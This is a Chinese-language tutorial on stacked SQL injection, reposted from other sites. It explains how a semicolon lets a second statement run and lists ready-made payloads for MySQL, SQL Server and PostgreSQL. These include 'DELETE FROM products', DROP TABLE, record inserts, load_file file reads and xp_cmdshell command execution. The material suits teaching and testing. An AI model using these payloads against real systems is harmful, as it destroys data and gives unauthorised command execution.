Stacked injection--堆疊注入--堆查詢注入
原文地址;http://www.sqlinjection.net/stacked-queries/ 本篇屬於集合原作者的思路和個人想法結合的一篇產物。Stacked injection 漢語翻譯過來后，國內有的稱為堆查詢注入，也有稱之為堆疊注入。個人認為稱之為堆疊注入更為准確。堆疊注入為攻擊者提供了很多的攻擊手段，通過添加一個新 的查詢或者終止查詢，可以達到修改數據和調用存儲過程的目的。這種技術在SQL注入中還是比較頻繁的。
0x01 原理介紹
在SQL中，分號（;）是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續構造下一條語句，會不會一起執行？因此這個想法也就造就了堆疊注入。而union injection（聯合注入）也是將兩條語句合並在一起，兩者之間有什么區別么？區別就在於union 或者union all執行的語句類型是有限的，可以用來執行查詢語句，而堆疊注入可以執行的是任意的語句。例如以下這個例子。用戶輸入：1; DELETE FROM products服務器端生成的sql語句為：（因未對輸入的參數進行過濾）Select * from products where productid=1;DELETE FROM products當執行查詢后，第一條顯示查詢信息，第二條則將整個表進行刪除。
0x02 堆疊注入的局限性
堆疊注入的局限性在於並不是每一個環境下都可以執行，可能受到API或者數據庫引擎不支持的限制，當然了權限不足也可以解釋為什么攻擊者無法修改數據或者調用一些程序。
Ps：此圖是從原文中截取過來的，因為我個人的測試環境是php+mysql，是可以執行的，此處對於mysql/php存在質疑。但個人估計原文作者可能與我的版本的不同的原因。雖然我們前面提到了堆疊查詢可以執行任意的sql語句，但是這種注入方式並不是十分的完美的。在我們的web系統中，因為代碼通常只返回一個查詢結果，因此，堆疊注入第二個語句產生錯誤或者結果只能被忽略，我們在前端界面是無法看到返回結果的。因此，在讀取數據時，我們建議使用union（聯合）注入。同時在使用堆疊注入之前，我們也是需要知道一些數據庫相關信息的，例如表名，列名等信息。
0x03 各個數據庫實例介紹
本節我們從常用數據庫角度出發，介紹幾個類型的數據庫的相關用法。數據庫的基本操作，增刪查改。以下列出數據庫相關堆疊注入的基本操作。
-
一. Mysql
（1）新建一個表 select * from users where id=1;create table test like users;
執行成功，我們再去看一下是否新建成功表。
- 2. 刪除上面新建的test表select * from users where id=1;drop table test;
- 3. 查詢數據select * from users where id=1;select 1,2,3;
加載文件 select * from users where id=1;select load_file('c:/tmpupbbn.php');
- 4. 修改數據select * from users where id=1;insert into users(id,username,password)
values('100','new','new');
-
二. Sql server
- 1. 增加數據表select * from test;create table sc3(ss CHAR(8));
- 2. 刪除數據表select * from test;drop table sc3;
(3)查詢數據select 1,2,3;select * from test;
- 4. 修改數據select * from test;update test set name='test' where id=3;
- 5. sqlserver中最為重要的存儲過程的執行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
-
三. Oracle
上面的介紹中我們已經提及，oracle不能使用堆疊注入，可以從圖中看到，當有兩條語句在同一行時，直接報錯。無效字符。后面的就不往下繼續嘗試了。
-
四. Postgresql
- 1. 新建一個表 select * from user_test;create table user_data(id DATE);
可以看到user_data表已經建好。
- 2. 刪除上面新建的user_data表select * from user_test;delete from user_data;
- 3. 查詢數據select * from user_test;select 1,2,3;
- 4. 修改數據 select * from user_test;update user_test set name='modify' where name='張三';
【注】本文轉自：https://www.bbsmax.com/A/kvJ3Eq9Xdg/